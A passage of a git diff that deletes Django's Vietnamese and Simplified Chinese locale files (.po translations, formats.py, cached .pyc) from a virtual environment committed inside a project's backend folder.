"(Trường ẩn %(name)s) %(error)s" - -msgid "ManagementForm data is missing or has been tampered with" -msgstr "" - -#, python-format -msgid "Please submit %d or fewer forms." -msgid_plural "Please submit %d or fewer forms." -msgstr[0] "Vui lòng đệ trình %d hoặc ít các mẫu đơn hơn." - -#, python-format -msgid "Please submit %d or more forms." -msgid_plural "Please submit %d or more forms." -msgstr[0] "" - -msgid "Order" -msgstr "Thứ tự" - -msgid "Delete" -msgstr "Xóa" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Hãy sửa các dữ liệu trùng lặp cho %(field)s ." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "Hãy sửa các dữ liệu trùng lặp cho %(field)s, mà phải là duy nhất." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Hãy sửa các dữ liệu trùng lặp cho %(field_name)s mà phải là duy nhất cho " -"%(lookup)s tại %(date_field)s ." - -msgid "Please correct the duplicate values below." -msgstr "Hãy sửa các giá trị trùng lặp dưới đây." - -msgid "The inline value did not match the parent instance." -msgstr "" - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "" -"Hãy chọn một lựa chọn hợp lệ. Lựa chọn đó không phải là một trong các lựa " -"chọn khả thi." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" - -msgid "Clear" -msgstr "Xóa" - -msgid "Currently" -msgstr "Hiện nay" - -msgid "Change" -msgstr "Thay đổi" - -msgid "Unknown" -msgstr "Chưa xác định" - -msgid "Yes" -msgstr "Có" - -msgid "No" -msgstr "Không" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "Có,Không,Có thể" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d byte" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "p.m." - -msgid "a.m." -msgstr "a.m." - -msgid "PM" -msgstr "chiều" - -msgid "AM" -msgstr "sáng" - -msgid "midnight" -msgstr "Nửa đêm" - -msgid "noon" -msgstr "Buổi trưa" - -msgid "Monday" -msgstr "Thứ 2" - -msgid "Tuesday" -msgstr "Thứ 3" - -msgid "Wednesday" -msgstr "Thứ 4" - -msgid "Thursday" -msgstr "Thứ 5" - -msgid "Friday" -msgstr "Thứ 6" - -msgid "Saturday" -msgstr "Thứ 7" - -msgid "Sunday" -msgstr "Chủ nhật" - -msgid "Mon" -msgstr "Thứ 2" - -msgid "Tue" -msgstr "Thứ 3" - -msgid "Wed" -msgstr "Thứ 4" - -msgid "Thu" -msgstr "Thứ 5" - -msgid "Fri" -msgstr "Thứ 6" - -msgid "Sat" -msgstr "Thứ 7" - -msgid "Sun" -msgstr "Chủ nhật" - -msgid "January" -msgstr "Tháng 1" - -msgid "February" -msgstr "Tháng 2" - -msgid "March" -msgstr "Tháng 3" - -msgid "April" -msgstr "Tháng 4" - -msgid "May" -msgstr "Tháng 5" - -msgid "June" -msgstr "Tháng 6" - -msgid "July" -msgstr "Tháng 7" - -msgid "August" -msgstr "Tháng 8" - -msgid "September" -msgstr "Tháng 9" - -msgid "October" -msgstr "Tháng 10" - -msgid "November" -msgstr "Tháng 11" - -msgid "December" -msgstr "Tháng 12" - -msgid "jan" -msgstr "Tháng 1" - -msgid "feb" -msgstr "Tháng 2" - -msgid "mar" -msgstr "Tháng 3" - -msgid "apr" -msgstr "Tháng 4" - -msgid "may" -msgstr "Tháng 5" - -msgid "jun" -msgstr "Tháng 6" - -msgid "jul" -msgstr "Tháng 7" - -msgid "aug" -msgstr "Tháng 8" - -msgid "sep" -msgstr "Tháng 9" - -msgid "oct" -msgstr "Tháng 10" - -msgid "nov" -msgstr "Tháng 11" - -msgid "dec" -msgstr "Tháng 12" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Tháng 1." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Tháng 2." - -msgctxt "abbrev. month" -msgid "March" -msgstr "Tháng ba" - -msgctxt "abbrev. month" -msgid "April" -msgstr "Tháng tư" - -msgctxt "abbrev. month" -msgid "May" -msgstr "Tháng năm" - -msgctxt "abbrev. month" -msgid "June" -msgstr "Tháng sáu" - -msgctxt "abbrev. month" -msgid "July" -msgstr "Tháng bảy" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Tháng 8." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Tháng 9." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Tháng 10." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Tháng 11." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Tháng 12." - -msgctxt "alt. month" -msgid "January" -msgstr "Tháng một" - -msgctxt "alt. month" -msgid "February" -msgstr "Tháng hai" - -msgctxt "alt. month" -msgid "March" -msgstr "Tháng ba" - -msgctxt "alt. month" -msgid "April" -msgstr "Tháng tư" - -msgctxt "alt. month" -msgid "May" -msgstr "Tháng năm" - -msgctxt "alt. month" -msgid "June" -msgstr "Tháng sáu" - -msgctxt "alt. month" -msgid "July" -msgstr "Tháng bảy" - -msgctxt "alt. month" -msgid "August" -msgstr "Tháng tám" - -msgctxt "alt. month" -msgid "September" -msgstr "Tháng Chín" - -msgctxt "alt. month" -msgid "October" -msgstr "Tháng Mười" - -msgctxt "alt. month" -msgid "November" -msgstr "Tháng mười một" - -msgctxt "alt. month" -msgid "December" -msgstr "Tháng mười hai" - -msgid "This is not a valid IPv6 address." -msgstr "" - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "" - -msgid "or" -msgstr "hoặc" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%d year" -msgid_plural "%d years" -msgstr[0] "%d năm" - -#, python-format -msgid "%d month" -msgid_plural "%d months" -msgstr[0] "%d tháng" - -#, python-format -msgid "%d week" -msgid_plural "%d weeks" -msgstr[0] "%d tuần" - -#, python-format -msgid "%d day" -msgid_plural "%d days" -msgstr[0] "%d ngày" - -#, python-format -msgid "%d hour" -msgid_plural "%d hours" -msgstr[0] "%d giờ" - -#, python-format -msgid "%d minute" -msgid_plural "%d minutes" -msgstr[0] "%d phút" - -msgid "Forbidden" -msgstr "" - -msgid "CSRF verification failed. Request aborted." -msgstr "" - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your Web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" - -msgid "More information is available with DEBUG=True." -msgstr "" - -msgid "No year specified" -msgstr "Không có năm xác định" - -msgid "Date out of range" -msgstr "" - -msgid "No month specified" -msgstr "Không có tháng xác định" - -msgid "No day specified" -msgstr "Không có ngày xác định" - -msgid "No week specified" -msgstr "Không có tuần xác định" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "Không có %(verbose_name_plural)s phù hợp" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"%(verbose_name_plural)s trong tương lai không có sẵn vì %(class_name)s." -"allow_future là False." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Không có %(verbose_name)s tìm thấy phù hợp với truy vấn" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Trang không hợp lệ (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" - -msgid "Directory indexes are not allowed here." -msgstr "Tại đây không cho phép đánh số chỉ mục dành cho thư mục." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Index của %(directory)s" - -msgid "Django: the Web framework for perfectionists with deadlines." -msgstr "" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" - -msgid "The install worked successfully! Congratulations!" -msgstr "" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" - -msgid "Django Documentation" -msgstr "" - -msgid "Topics, references, & how-to’s" -msgstr "" - -msgid "Tutorial: A Polling App" -msgstr "" - -msgid "Get started with Django" -msgstr "" - -msgid "Django Community" -msgstr "" - -msgid "Connect, get help, or contribute" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/vi/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/vi/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/vi/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/vi/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 360e87ee..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/vi/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/vi/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/vi/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 03f0f056..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/vi/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/vi/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/vi/formats.py deleted file mode 100644 index 7b760204..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/vi/formats.py +++ /dev/null @@ -1,21 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = r"\N\gà\y d \t\há\n\g n \nă\m Y" -TIME_FORMAT = "H:i" -DATETIME_FORMAT = r"H:i \N\gà\y d \t\há\n\g n \nă\m Y" -YEAR_MONTH_FORMAT = "F Y" -MONTH_DAY_FORMAT = "j F" -SHORT_DATE_FORMAT = "d-m-Y" -SHORT_DATETIME_FORMAT = "H:i d-m-Y" -# FIRST_DAY_OF_WEEK = - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -# DATE_INPUT_FORMATS = -# TIME_INPUT_FORMATS = -# DATETIME_INPUT_FORMATS = -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "." -# NUMBER_GROUPING = diff --git a/backend/venv/Lib/site-packages/django/conf/locale/zh_Hans/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/zh_Hans/LC_MESSAGES/django.mo deleted file mode 100644 index c68035c8..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/zh_Hans/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/zh_Hans/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/zh_Hans/LC_MESSAGES/django.po deleted file mode 100644 index 012741fb..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/zh_Hans/LC_MESSAGES/django.po +++ /dev/null @@ -1,1326 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# HuanCheng Bai白宦成(Bestony) , 2017-2018 -# lanbla , 2021 -# Daniel Duan , 2013 -# Fan Xu , 2022 -# Ford Guo , 2022 -# Huanqun Yang, 2022 -# jack yang, 2023 -# jamin M , 2019 -# Jannis Leidel , 2011 -# Kevin Sze , 2012 -# Lele Long , 2011,2015,2017 -# Le Yang , 2018 -# li beite , 2020 -# Liping Wang , 2016-2017 -# L., 2024 -# matthew Yip , 2020 -# mozillazg , 2016 -# Ronald White , 2014 -# Lemon Li , 2013 -# Ray Wang , 2017 -# slene , 2011 -# Sun Liwen , 2014 -# Suntravel Chris , 2019 -# Veoco , 2021 -# Liping Wang , 2016 -# Wentao Han , 2018 -# wolf ice , 2020 -# Xiang Yu , 2014 -# Jeff Yin , 2013 -# Zhengyang Wang , 2017 -# ced773123cfad7b4e8b79ca80f736af9, 2011-2012 -# Ziya Tang , 2018 -# 付峥 , 2018 -# L., 2024 -# LatteFang <370358679@qq.com>, 2020 -# Kevin Sze , 2012 -# 高乐喆 , 2023 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2024-05-22 11:46-0300\n" -"PO-Revision-Date: 2024-10-07 06:49+0000\n" -"Last-Translator: L., 2024\n" -"Language-Team: Chinese (China) (http://app.transifex.com/django/django/" -"language/zh_CN/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: zh_CN\n" -"Plural-Forms: nplurals=1; plural=0;\n" - -msgid "Afrikaans" -msgstr "南非荷兰语" - -msgid "Arabic" -msgstr "阿拉伯语" - -msgid "Algerian Arabic" -msgstr "阿尔及利亚的阿拉伯语" - -msgid "Asturian" -msgstr "阿斯图里亚斯" - -msgid "Azerbaijani" -msgstr "阿塞拜疆语" - -msgid "Bulgarian" -msgstr "保加利亚语" - -msgid "Belarusian" -msgstr "白俄罗斯语" - -msgid "Bengali" -msgstr "孟加拉语" - -msgid "Breton" -msgstr "布雷顿" - -msgid "Bosnian" -msgstr "波斯尼亚语" - -msgid "Catalan" -msgstr "加泰罗尼亚语" - -msgid "Central Kurdish (Sorani)" -msgstr "中部库尔德语(Sorani)" - -msgid "Czech" -msgstr "捷克语" - -msgid "Welsh" -msgstr "威尔士语" - -msgid "Danish" -msgstr "丹麦语" - -msgid "German" -msgstr "德语" - -msgid "Lower Sorbian" -msgstr "下索布" - -msgid "Greek" -msgstr "希腊语" - -msgid "English" -msgstr "英语" - -msgid "Australian English" -msgstr "澳大利亚英语" - -msgid "British English" -msgstr "英国英语" - -msgid "Esperanto" -msgstr "世界语" - -msgid "Spanish" -msgstr "西班牙语" - -msgid "Argentinian Spanish" -msgstr "阿根廷西班牙语" - -msgid "Colombian Spanish" -msgstr "哥伦比亚西班牙语" - -msgid "Mexican Spanish" -msgstr "墨西哥西班牙语" - -msgid "Nicaraguan Spanish" -msgstr "尼加拉瓜西班牙语" - -msgid "Venezuelan Spanish" -msgstr "委内瑞拉西班牙语" - -msgid "Estonian" -msgstr "爱沙尼亚语" - -msgid "Basque" -msgstr "巴斯克语" - -msgid "Persian" -msgstr "波斯语" - -msgid "Finnish" -msgstr "芬兰语" - -msgid "French" -msgstr "法语" - -msgid "Frisian" -msgstr "夫里斯兰语" - -msgid "Irish" -msgstr "爱尔兰语" - -msgid "Scottish Gaelic" -msgstr "苏格兰盖尔语" - -msgid "Galician" -msgstr "加利西亚语" - -msgid "Hebrew" -msgstr "希伯来语" - -msgid "Hindi" -msgstr "北印度语" - -msgid "Croatian" -msgstr "克罗地亚语" - -msgid "Upper Sorbian" -msgstr "上索布" - -msgid "Hungarian" -msgstr "匈牙利语" - -msgid "Armenian" -msgstr "亚美尼亚语" - -msgid "Interlingua" -msgstr "国际语" - -msgid "Indonesian" -msgstr "印尼语" - -msgid "Igbo" -msgstr "伊博" - -msgid "Ido" -msgstr "简化伊多语" - -msgid "Icelandic" -msgstr "冰岛语" - -msgid "Italian" -msgstr "意大利语" - -msgid "Japanese" -msgstr "日语" - -msgid "Georgian" -msgstr "格鲁吉亚语" - -msgid "Kabyle" -msgstr "卡拜尔语" - -msgid "Kazakh" -msgstr "哈萨克语" - -msgid "Khmer" -msgstr "高棉语" - -msgid "Kannada" -msgstr "埃纳德语" - -msgid "Korean" -msgstr "韩语" - -msgid "Kyrgyz" -msgstr "吉尔吉斯坦语" - -msgid "Luxembourgish" -msgstr "卢森堡语" - -msgid "Lithuanian" -msgstr "立陶宛语" - -msgid "Latvian" -msgstr "拉脱维亚语" - -msgid "Macedonian" -msgstr "马其顿语" - -msgid "Malayalam" -msgstr "马来亚拉姆语" - -msgid "Mongolian" -msgstr "蒙古语" - -msgid "Marathi" -msgstr "马拉地语" - -msgid "Malay" -msgstr "马来语" - -msgid "Burmese" -msgstr "缅甸语" - -msgid "Norwegian Bokmål" -msgstr "挪威博克马尔" - -msgid "Nepali" -msgstr "尼泊尔语" - -msgid "Dutch" -msgstr "荷兰语" - -msgid "Norwegian Nynorsk" -msgstr "新挪威语" - -msgid "Ossetic" -msgstr "奥塞梯语" - -msgid "Punjabi" -msgstr "旁遮普语 " - -msgid "Polish" -msgstr "波兰语" - -msgid "Portuguese" -msgstr "葡萄牙语" - -msgid "Brazilian Portuguese" -msgstr "巴西葡萄牙语" - -msgid "Romanian" -msgstr "罗马尼亚语" - -msgid "Russian" -msgstr "俄语" - -msgid "Slovak" -msgstr "斯洛伐克语" - -msgid "Slovenian" -msgstr "斯洛文尼亚语" - -msgid "Albanian" -msgstr "阿尔巴尼亚语" - -msgid "Serbian" -msgstr "塞尔维亚语" - -msgid "Serbian Latin" -msgstr "塞尔维亚拉丁语" - -msgid "Swedish" -msgstr "瑞典语" - -msgid "Swahili" -msgstr "斯瓦西里语" - -msgid "Tamil" -msgstr "泰米尔语" - -msgid "Telugu" -msgstr "泰卢固语" - -msgid "Tajik" -msgstr "塔吉克语" - -msgid "Thai" -msgstr "泰语" - -msgid "Turkmen" -msgstr "土库曼人" - -msgid "Turkish" -msgstr "土耳其语" - -msgid "Tatar" -msgstr "鞑靼语" - -msgid "Udmurt" -msgstr "乌德穆尔特语" - -msgid "Uyghur" -msgstr "维吾尔语" - -msgid "Ukrainian" -msgstr "乌克兰语" - -msgid "Urdu" -msgstr "乌尔都语" - -msgid "Uzbek" -msgstr "乌兹别克语" - -msgid "Vietnamese" -msgstr "越南语" - -msgid "Simplified Chinese" -msgstr "简体中文" - -msgid "Traditional Chinese" -msgstr "繁体中文" - -msgid "Messages" -msgstr "消息" - -msgid "Site Maps" -msgstr "站点地图" - -msgid "Static Files" -msgstr "静态文件" - -msgid "Syndication" -msgstr "联合" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "…" - -msgid "That page number is not an integer" -msgstr "页码不是整数" - -msgid "That page number is less than 1" -msgstr "页码小于 1" - -msgid "That page contains no results" -msgstr "本页结果为空" - -msgid "Enter a valid value." -msgstr "输入一个有效的值。" - -msgid "Enter a valid domain name." -msgstr "输入一个有效的域名。" - -msgid "Enter a valid URL." -msgstr "输入一个有效的 URL。" - -msgid "Enter a valid integer." -msgstr "输入一个有效的整数。" - -msgid "Enter a valid email address." -msgstr "输入一个有效的 Email 地址。" - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "输入由字母,数字,下划线或连字符号组成的有效“字段”。" - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "输入由Unicode字母,数字,下划线或连字符号组成的有效“字段”。" - -#, python-format -msgid "Enter a valid %(protocol)s address." -msgstr "输入一个有效的 %(protocol)s 地址。" - -msgid "IPv4" -msgstr "IPv4" - -msgid "IPv6" -msgstr "IPv6" - -msgid "IPv4 or IPv6" -msgstr "IPv4 或 IPv6" - -msgid "Enter only digits separated by commas." -msgstr "只能输入用逗号分隔的数字。" - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "确保该值为 %(limit_value)s (现在为 %(show_value)s)。" - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "确保该值小于或等于%(limit_value)s。" - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "确保该值大于或等于%(limit_value)s。" - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "确保该值是步长的倍数%(limit_value)s" - -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" -"确保此值是步长 %(limit_value)s 的倍数,从 %(offset)s 开始,例如 " -"%(offset)s、%(valid_value1)s、%(valid_value2)s 等等。" - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"确保该变量至少包含 %(limit_value)d 字符(目前字符数 %(show_value)d)。" - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"确保该变量包含不超过 %(limit_value)d 字符 (目前字符数 %(show_value)d)。" - -msgid "Enter a number." -msgstr "输入一个数字。" - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "确认总共不超过 %(max)s 个数字." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "确认小数不超过 %(max)s 位." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "确认小数点前不超过 %(max)s 位。" - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"文件扩展“%(extension)s”是不被允许。允许的扩展为:%(allowed_extensions)s。" - -msgid "Null characters are not allowed." -msgstr "不允许是用空字符串。" - -msgid "and" -msgstr "和" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "包含 %(field_labels)s 的 %(model_name)s 已经存在。" - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "约束 “%(name)s” 是无效的" - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "值 %(value)r 不是有效选项。" - -msgid "This field cannot be null." -msgstr "这个值不能为 null。" - -msgid "This field cannot be blank." -msgstr "此字段不能为空。" - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "具有 %(field_label)s 的 %(model_name)s 已存在。" - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s 必须在 %(date_field_label)s 字段查找类型为 %(lookup_type)s 中" -"唯一。" - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "字段类型:%(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "“%(value)s”的值应该为True或False" - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "“%(value)s”的值应该为True,False或None" - -msgid "Boolean (Either True or False)" -msgstr "布尔值( True或False )" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "字符串(最长 %(max_length)s 位)" - -msgid "String (unlimited)" -msgstr "字符串(无限)" - -msgid "Comma-separated integers" -msgstr "逗号分隔的整数" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "“%(value)s”的值有一个错误的日期格式。它的格式应该是YYYY-MM-DD" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "“%(value)s”的值有正确的格式(YYYY-MM-DD)但它是一个错误的日期" - -msgid "Date (without time)" -msgstr "日期(不带时分)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"“%(value)s”的值有一个错误的日期格式。它的格式应该是YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] " - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"“%(value)s”的值有正确的格式 (YYYY-MM-DD HH:MM[:ss[.uuuuuu]][TZ]) 但它是一个错" -"误的日期/时间" - -msgid "Date (with time)" -msgstr "日期(带时分)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "“%(value)s”的值应该是一个十进制数字。" - -msgid "Decimal number" -msgstr "小数" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"“%(value)s”的值有一个错误的格式。它的格式应该是[DD] [[HH:]MM:]ss[.uuuuuu] " - -msgid "Duration" -msgstr "时长" - -msgid "Email address" -msgstr "Email 地址" - -msgid "File path" -msgstr "文件路径" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "“%(value)s”的值应该是一个浮点数" - -msgid "Floating point number" -msgstr "浮点数" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "“%(value)s”的值应该是一个整型" - -msgid "Integer" -msgstr "整数" - -msgid "Big (8 byte) integer" -msgstr "大整数(8字节)" - -msgid "Small integer" -msgstr "小整数" - -msgid "IPv4 address" -msgstr "IPv4 地址" - -msgid "IP address" -msgstr "IP 地址" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "“%(value)s”的值应该是None、True或False" - -msgid "Boolean (Either True, False or None)" -msgstr "布尔值(True、False或None)" - -msgid "Positive big integer" -msgstr "正大整数" - -msgid "Positive integer" -msgstr "正整数" - -msgid "Positive small integer" -msgstr "正小整数" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Slug (多达 %(max_length)s)" - -msgid "Text" -msgstr "文本" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "“%(value)s”的值有一个错误的格式。它的格式应该是HH:MM[:ss[.uuuuuu]]" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "“%(value)s”的值有正确的格式(HH:MM[:ss[.uuuuuu]]),但它是一个错误的时间" - -msgid "Time" -msgstr "时间" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "原始二进制数据" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "“%(value)s”不是一个有效的UUID" - -msgid "Universally unique identifier" -msgstr "通用唯一识别码" - -msgid "File" -msgstr "文件" - -msgid "Image" -msgstr "图像" - -msgid "A JSON object" -msgstr "一个JSON对象" - -msgid "Value must be valid JSON." -msgstr "值必须是有效的JSON。" - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "包含%(field)s %(value)r的%(model)s实例不存在。" - -msgid "Foreign Key (type determined by related field)" -msgstr "外键(由相关字段确定)" - -msgid "One-to-one relationship" -msgstr "一对一关系" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "%(from)s-%(to)s关系" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "%(from)s-%(to)s关系" - -msgid "Many-to-many relationship" -msgstr "多对多关系" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "这个字段是必填项。" - -msgid "Enter a whole number." -msgstr "输入整数。" - -msgid "Enter a valid date." -msgstr "输入一个有效的日期。" - -msgid "Enter a valid time." -msgstr "输入一个有效的时间。" - -msgid "Enter a valid date/time." -msgstr "输入一个有效的日期/时间。" - -msgid "Enter a valid duration." -msgstr "请输入有效的时长。" - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "天数应该在 {min_days} 和 {max_days} 之间。" - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "未提交文件。请检查表单的编码类型。" - -msgid "No file was submitted." -msgstr "没有提交文件。" - -msgid "The submitted file is empty." -msgstr "所提交的是空文件。" - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "确保该文件名长度不超过 %(max)d 字符(目前字符数 %(length)d)。" - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "请提交文件或勾选清除复选框,两者其一即可。" - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "请上传一张有效的图片。您所上传的文件不是图片或者是已损坏的图片。" - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "选择一个有效的选项。 %(value)s 不在可用的选项中。" - -msgid "Enter a list of values." -msgstr "输入一系列值。" - -msgid "Enter a complete value." -msgstr "请输入完整的值。" - -msgid "Enter a valid UUID." -msgstr "请输入有效UUID。" - -msgid 